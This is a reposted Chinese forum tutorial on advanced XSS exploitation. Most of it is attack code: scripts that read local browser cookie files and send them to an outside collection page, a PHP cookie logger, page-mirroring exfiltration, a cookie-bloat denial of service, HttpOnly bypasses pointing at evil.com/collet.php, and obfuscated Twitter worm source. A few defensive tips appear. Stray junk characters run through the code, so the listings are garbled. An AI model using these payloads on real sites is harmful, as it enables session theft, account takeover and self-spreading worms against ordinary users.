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标题: XSS的高级利用部分总结 -蠕虫 [打印本页]

作者: admin 时间: 2012-9-13 17:13
标题: XSS的高级利用部分总结 -蠕虫
XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权

-------------------------------------------前言---------------------------------------------------------

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/       JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4       XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD       XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt       FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html       突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html       利用窗口引用漏洞和XSS漏洞实现浏览器劫持

如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,

Baidu xss蠕虫       感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS    感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫       20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1       通过XSS,我们能实现什么?

2       如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3       XSS的高级利用和高级综合型XSS蠕虫的可行性?

4       XSS漏洞在输出和输入两个方面怎么才能避免.

------------------------------------------研究正题----------------------------------------------------------

通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.

(I) AJAX在不同的浏览器下的本地文件操作权限

读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件 <script>

function $(x){return document.getElementById(x)}

function ajax_obj(){

var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {

request = new ActiveXObject(versions);
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} catch(e) {}3 W; @" H2 P. h8 w" j3 ^
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var _x = ajax_obj();
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function _7or3(_m,action,argv){, \# w$ `# V. k8 q
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_x.open(_m,action,false);7 }! }# u) P' ?' _' [% \: O! d

. [; b8 s) B; J: w# a- k if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");5 j/ t3 X5 }# u; Y
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_x.send(argv);; @- H  H0 j- X1 Y: x* n

+ a1 s( Z7 B9 m, `5 }' i! s; } return _x.responseText;
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7 \: M7 e% k; g var txt=_7or3("GET","file://localhost/C:/11.txt",null);9 [0 X) \, a- y
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alert(txt);
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/ d6 q* j' J. u2 X0 y </script>
$ m; k% \' R1 a* V复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>( ]8 i3 @) C& o& A/ b# i
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function $(x){return document.getElementById(x)}3 F. {( y5 f+ ^# Y, I* |& Q! Z& A

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var request = false;
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request = new XMLHttpRequest();
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' T2 Y1 ?5 a7 B0 m  l" C. G } else if(window.ActiveXObject) {" ~2 V% l* q$ @! P+ Q9 r. l8 ?2 I

8 E( q1 x: J6 s5 [* i) h! l( Z var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',% S8 h: F9 C" x# y

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1 {9 h1 `8 g& M! T7 L 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];; O6 ?3 m5 M# h( P0 n% a( c* q# x

# c9 w) }1 W/ w for(var i=0; i<versions.length; i++) {3 |: n) i4 C  t# J, c' [/ b: ]
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try {, n+ L2 j4 U2 I( s* d, i5 B
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request = new ActiveXObject(versions);
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' f  y/ F+ n( ]/ r: m( U& G0 N* J return request;
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}
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var _x = ajax_obj();
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_x.open(_m,action,false);5 U$ i5 `5 q$ ?) l

( R+ p  T8 O* Y if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");; v. H! c$ f* o9 C2 I  v1 H5 Z. l

. y0 y0 U1 A8 W9 d# J" n. E3 I _x.send(argv);2 N) B, m+ ~5 l2 n% s

1 w$ b' X, F2 j  n  `- ?3 D0 y return _x.responseText;
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9 G, y: b" u7 T; Y+ e! e var txt=_7or3("GET","1/11.txt",null);
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3 a6 ]& }# i4 n" U </script>
/ _% I% m( F1 e* \复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”4 X) Q6 w+ i( ?1 a, a" {9 s

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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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/*  8 L/ m5 O6 t8 b/ h; n/ i
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   Chrome 1.0.154.53 use ajax read local txt file and upload exp
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   www.inbreak.net 0 f8 ^2 U9 P8 g% S  p/ F

3 }- ]) G8 G- m9 e    author voidloafer@gmail.com 2009-4-22
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   http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  $ I) n+ s; C5 P7 H4 W& d( L& q0 ]

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header("Content-Disposition: attachment;filename=kxlzx.htm"); % p- T7 u' @. R$ z- b. m

! a- g( Y$ I# I2 E/ {' ~8 Vheader("Content-type: application/kxlzx"); 3 K) U% R; v1 {" ~3 w

2 w( a: _$ a& [" U/*  0 k0 b+ p8 v3 o- l

1 D3 J3 j$ k; G3 ?2 {    set header, so just download html file,and open it at local.

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?>
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">
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   <input id="input" name="cookie" value="" type="hidden"> " a# q# I7 W3 _- z# Z% V

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<script>
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function doMyAjax(user)
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{
% z/ ^$ u/ N  L8 \
, F# d& M* Q3 p! Cvar time = Math.random();
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/ H$ g2 I2 K. W1 k/*  ( o% {/ U4 I3 P! f: m
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on...  ' e- l$ _) c) E8 ]
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*/
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' z9 J3 [) Z" k" w; j0 u5 Fvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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}
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function Enshellcode(txt) ) s; c! y# \6 L) ~. m
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{
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var url=new String(txt); * j  j# M% d4 ^$ A; @) Z: _

) S: q0 i8 O( e5 tvar i=0,l=0,k=0,curl="";
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1 e, T# \4 J/ O- s/ q, M& rl= url.length;
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for(;i<l;i++){ , G" W  f. n; w/ s, R" x9 F% u
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k=url.charCodeAt(i);
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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- J6 U% ]1 p0 Q" w' l8 jif (l%2){curl+="00";}else{curl+="0000";}
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# L+ F3 N& `1 A2 N( V6 A! ^9 [0 _curl=curl.replace(/(..)(..)/g,"%u$2$1"); & u" r* \8 q  R2 p8 h
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return curl;
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var xmlHttp;
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function createXMLHttp(){ # t) j: `' V; B' K
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   if(window.XMLHttpRequest){ 0 r  R  [8 y: Q, j

/ o4 c& R; s( B' n5 _: CxmlHttp = new XMLHttpRequest();          9 n3 _9 p; ^$ E/ `! {

' Q/ A8 m9 D8 R0 G    }
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   else if(window.ActiveXObject){
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function startRequest(doUrl){
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   createXMLHttp();
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   xmlHttp.onreadystatechange = handleStateChange;
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% p8 g# U; A* [$ T+ O    xmlHttp.open("GET", doUrl, true); : f/ z0 o2 Q! _) S) v. b: L0 W
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5 b2 _6 @6 v  X  I, Z2 A    xmlHttp.send(null);
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}
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! h8 s  V4 H, M* [function handleStateChange(){ 5 ]  v# I8 a3 ~1 j, R
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   if (xmlHttp.readyState == 4 ){ ! a  t; p+ p* l* {+ Y7 E! r

# E/ n; b1 O7 X    var strResponse = ""; 0 M+ [: B2 p. P6 W4 |
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   setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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      . g* k! z% h, o/ o4 J' u3 l

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} 3 W7 L7 \/ {: M' C4 D

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+ ]' J& H. R# g* M! efunction framekxlzxPost(text) 7 L' L' K6 ]' c2 F& E8 }$ b
4 y9 Y1 V/ c" C
{
% y/ j* k# P# {1 b6 L5 j0 c* Y) ]. D# N4 G9 S
   document.getElementById("input").value = Enshellcode(text); $ X: Q/ b% \! Q$ l8 _1 @# d6 L2 U9 Q1 r

; C. M. N4 b5 t    document.getElementById("form").submit();
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doMyAjax("administrator"); $ N. ]9 b$ q" n9 O4 \/ V
7 b" a6 I2 q4 D$ y- |

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% x9 S8 g; \$ O3 t" T2 v</script>4 g9 h; E' N* ?2 Y. d( C
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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var xmlHttp;
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function createXMLHttp(){  ) e1 M& |/ G+ ^

( R2 }$ c5 a: Z+ |9 f    if(window.XMLHttpRequest){
: C6 B& m; @9 z, ?
+ Y1 m* u0 n( P& V       xmlHttp = new XMLHttpRequest();       ' o$ I# h' p6 H/ l9 N' V

! j' `& y+ w1 t7 B  B# `    }
7 H# |& W- P3 E% x
) r+ j  W) a# N% V) q& A4 H    else if(window.ActiveXObject){
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7 j+ v: H" m, m6 d5 O  D( b% G       xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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! a% {3 O! F4 z  F) ~    }
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}  6 i( e" a' r: _

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3 J# O& c7 a9 Q3 y& z$ ~$ zfunction startRequest(doUrl){  ) V; ?* b; X4 g4 F

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( N, @: o5 [! W7 _0 Q9 D  D: }* |7 @2 @" K' P5 x
   createXMLHttp();
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   ' G8 q8 D- o4 K8 x1 `- y1 T# M
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   xmlHttp.onreadystatechange = handleStateChange;
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   xmlHttp.open("GET", doUrl, true);  ; c' K+ m1 \. e

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   xmlHttp.send(null);
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   / u6 }) C$ y+ P6 p/ O  Q$ a9 z9 i

+ {" r" {2 i% o2 R: j% `' X5 c}
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( w4 v5 I: }0 G5 x

- B6 L% f6 \% @' O* ]8 J4 a4 z( Hfunction handleStateChange(){  6 t! `1 |+ X6 }: K+ ^3 l  r( `4 \
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   if (xmlHttp.readyState == 4 ){
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" F  r! P; b. W! }* `          var strResponse = "";
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         setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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6 R; c* N4 {3 L1 t* d8 M' F- A             - Y, k. }; n7 p# o- P2 ]6 i' u

3 Y7 B: @6 s4 [1 F- P    }
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" E# [8 U8 t: s7 l% z$ d) W

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function doMyAjax(user,file)
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{
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      var time = Math.random();
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      var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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6 n* z* |6 J- d( r/ M3 x
& E" r0 I1 ]4 d( `* p! j7 F; P- O       startRequest(strPer);  $ H. J9 u- F! \" y

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+ e+ N& A/ T. o# o
}  . p( T  u8 F  u; a* @8 t
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2 \% c+ j) F* p3 R: S" b; U( L) a% ?

" S1 o9 J( l$ f; \function framekxlzxPost(text)
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{
3 M: [, J! P( O8 J5 H' V# T
0 P5 N5 X! Y$ d( q+ ~7 U    document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
4 D  F/ M* P  ?; C# i: _
. X: T7 e/ i7 S    alert(/ok/);
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. W7 u# J7 r0 A: [2 w}  / U) z. R7 M; R4 b

# n6 U- Z( x# v3 ~! O, [/ O + ]+ f4 d  Y1 |$ z. z

7 H  d$ n. s# `doMyAjax('administrator','administrator@alibaba[1].txt');  . r4 [" n7 v& i3 _- X

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</script>
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- g5 k# T9 A* b4 j0 b; q4 i6 [8 V2 u5 F) g' h
a.php2 Q4 q) j8 j! `" k+ b

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  Z2 l0 d2 m! u& {4 W: |( W8 l$ N) b7 Q$ S2 S) b( {& l; S
<?php       E- ?! Y$ t  h; {5 `* v

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- A( _0 D  D) h' z$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  8 @! g" u4 j- M0 o& n0 D$ `

2 }: d' ^9 D' F4 T1 i$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; + {$ V/ B/ P: [& V+ s' \4 r$ U
6 Y, B/ X; k" o5 f. e

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  J7 C$ J! y, V, C5 Z/ E6 w$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]);    - A* I% ?- a( R

/ c9 |& R- L$ k) C& i" T, Sfclose($fp);
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1 S; e" T6 |2 q; e. X复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.& ?- |/ r4 y1 |; i& y: G/ D
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能., Y0 F; |% T% z) K: n6 d) i

2 |" J, @; j6 S- u: c4 s代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);/ ^* g  G+ I1 C+ c( E3 z) a0 ?; h

" Q( C/ z% N; l9 k//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);! ^7 k4 k- [, Y" c
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);- O) D- s0 r- ^5 j5 l+ b

/ f: C( V+ _1 r& xfunction getURL(s) {
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4 u, O2 `1 p! F, B  s- r# fvar image = new Image();- l6 ~4 L+ x  y( M: {/ P' y
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image.style.width = 0;1 q2 X% H& D* P* d7 L% u

, W+ C4 ?8 N6 O& k1 k; c1 Himage.style.height = 0;) g7 a7 N# [/ k$ m7 B* R+ j& ]9 m

  }0 e' `; ^& L) _# `image.src = s;1 [$ A. Z8 r) U2 m! e# E. j) E9 F
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}
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: k" R9 {: O( x( zgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);8 v' r, t: g, |3 |
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
. x+ r. w; v: ~# J& z1 v这里引用大风的一段简单代码:<script language="javascript">, k+ {6 t1 n8 m. U

9 {2 \+ _3 P: \  A* I/ S, I6 [var metastr = "AAAAAAAAAA"; // 10 A, D' s2 L- n/ B. \

4 ?( `& S3 `. x3 R5 y  r7 hvar str = "";" n* o8 D# @6 x6 @
" _/ [$ Y$ E# Y4 |0 B* j% o6 }/ |
while (str.length < 4000){+ j9 T. R, A$ W) `' {9 H

9 v# A/ B- _% d6 M, p: P1 Y0 g+ ?6 { str += metastr;1 L2 Z& m& g0 B+ [" r+ b8 j0 a
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>
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4 f8 R3 c+ V- q9 g: b) \" V; P详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html/ n/ [- _6 d8 j: n7 x5 _% ~& Q
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
0 U% _3 a* O6 c7 Hserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
' P9 @  f" A' h" A$ M. I6 X& O攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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) X0 ~- O9 ~! B. A- F' Y  q% M(III) Http only bypass 与补救对策:9 O. w& O( J7 _) c  d

% g. J3 O' w4 a  ~什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie., t' N' J& N) u2 }3 V% d
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">1 H9 y8 W8 g( S1 `

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6 E, i  }. y1 u+ W1 Z  T. d- f</script>( N, Z/ T! Q+ e! A, i1 m. U

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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>  ^- E+ O: N/ A4 h+ E+ U; Y
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
+ w+ t* J3 C, K: _+ `+ {复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>  x: s+ A5 Z7 p, `7 f+ c
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var request = false;
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5 I# H7 s; t( @" J8 V$ U: e, [9 Z       if(window.XMLHttpRequest) {; \: |; n0 q" s: \% W
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         request = new XMLHttpRequest();# s9 Z  q' e: F) [. |
3 G5 \$ W+ m7 \
         if(request.overrideMimeType) {
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            request.overrideMimeType('text/xml');8 Q- Z* ?& w' j4 N4 S; `

' b( j! Y  E' E) s& G. U5 k          }
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      } else if(window.ActiveXObject) {
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         var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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* x3 f& J7 H1 v& v/ e, o- u; |! b          for(var i=0; i<versions.length; i++) {
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            try {
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% y* {. B! M- V2 k, v0 P1 H                   request = new ActiveXObject(versions);
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% y  y; s- O9 r, ~% \             } catch(e) {}
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9 o0 c$ }- D5 _" X          }
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: X- z! S& q$ O3 r# X& u" W       }
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xmlHttp=request;# M& X  Y1 e$ h! [; \8 p
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xmlHttp.open("TRACE","http://www.vul.com",false);' T/ q) U3 N3 v! T

4 x8 {% N' L0 Z& a$ m: gxmlHttp.send(null);2 d7 Z" T/ f, p, D! [
% [7 I: Q: D% ^: V. c- i% p# }2 d
xmlDoc=xmlHttp.responseText;
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alert(xmlDoc);% ~# `/ i% E. \5 w
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</script>
5 |+ H& M" s" Z$ ~* t! r1 J9 L复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>9 S3 k% Z( G  c4 F8 K/ z8 J
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");1 ^3 L7 f$ ]: s: a" C# p; o( {

7 n# V* C# R4 z$ ^2 T0 vXmlHttp.send(null);, y9 U4 O% t' k) o: k3 Z/ ~* j* T

) k+ O4 r5 G0 M' J) g5 _0 fvar resource=xmlHttp.responseText1 [  c$ S8 H8 i2 ]0 o/ U
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resource.search(/cookies/);" `1 \  v" @- @8 b

! I4 g  v* J2 \' Q4 r' `1 E; k......................: ~( m+ G2 J  x% }7 C

  g" A; h$ s& N8 C9 p</script>
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$ f' f9 \; c* f0 E; m& l. X* ]+ V" Y& N1 m
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
: F; A! b* T9 l% |% N2 n2 w7 T8 ?. m
[code]5 I$ `" p. j0 i, w. n

. Q- a/ |3 j- g* o& tRewriteEngine On
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' f- @* [3 ?* h" a8 SRewriteCond %{REQUEST_METHOD} ^TRACE
' k4 O7 p# U) [; D' Z! K8 H, q
, C) h0 Q/ @( ~3 P/ g# SRewriteRule .* - [F]9 |* I3 q; f  X+ ^! |' _+ Z  Q

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, e& l+ u+ i$ {& W& x# {- b9 P- CSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求% l5 }* z+ \! F1 Y5 J! S
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acl TRACE method TRACE; e/ e9 ~! B) x, d9 r; @4 E

0 ?  N; Z* m  A7 j1 @& l...$ a" e9 `% m; P1 @  d

, c2 P# C/ ?7 j1 w2 @http_access deny TRACE+ i+ a& z# G! c/ e
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>. S" M) |$ ]$ s' h# n

$ j. L: {' O* w: w- O) M( v$ rvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");( L3 F( y& e$ B1 i4 h- M! g% a$ N/ X

+ f% D- V7 K" I. a; o9 c6 RXmlHttp.open("GET","http://www.google.com",false);+ w. m- Q, C1 q; h- q, }* Y

# O- S! z+ [" A3 i+ yXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");7 y* S' Y& s+ ?$ d' ?3 V
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XmlHttp.send(null);8 m1 O# g& B% l/ z  J3 U
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</script>: l& }, u* ]8 x8 ]9 C7 u& Y
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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  t2 R5 o7 c- r$ q* \* y3 }- Lvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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$ q. l$ m' k( T5 @XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);) N. d, k8 u3 S( P& ^' g6 o

( W; Y4 G4 w( X( {XmlHttp.send(null);# _) _) g, r* I0 {

# L, [  S6 Q* M<script>" u1 [& y% r' ]" T1 D1 {6 c
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.4 o8 L2 q: H7 p2 t9 F9 J0 {
复制代码案例:Twitter 蠕蟲五度發威0 u9 `3 a; ~* ^  `, L
第一版:
  j/ |5 X! Z. {/ y1 G  下载 (5.1 KB)/ e' C. U4 ?. b9 `) @- k2 Y' p

9 F  C: o# e# z# W3 Z$ \6 天前 08:27
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5 J8 ]' K3 W3 b+ x' b% M第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2.
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3. function XHConn(){
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4. var _0x6687x2,_0x6687x3=false;
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5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  ' ^. b/ T& A9 `3 s* c" N4 y+ V
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  ; C8 B: B- M; X: K1 g

% L+ U7 o$ C( V* R7 [$ E 8. catch(e) { _0x6687x2=false; }; }; };
2 ~0 [! ?0 e- _- R复制代码第六版: 1. function wait() {  % F. H* l, P6 l! F9 `9 r5 F

3 l. T( U; s% r- d8 ]3 \4 f 2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie;
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  Q8 y/ c3 ?7 }! u  b7 s 4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content);  4 f: l( y( }: k  t+ m7 T
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7. var authtoken=authtoken[1];
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/ b6 B  f% ^0 K, b5 z' P 8. var randomUpdate= new Array();  , f3 L8 p, B" K% g

0 ]2 ~7 m  l# q3 s 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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  10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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2 q. n1 s" o2 k5 K0 V! ?  11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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( a4 m$ ]  B- ?0 \  12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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1 Q( b' O' B/ r, T+ _4 w' ~  13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";    h" d( t& P2 \3 K  f& Z+ |5 A' x+ l7 t
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  14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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0 l9 \- v8 ]3 B  15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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  16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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  17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
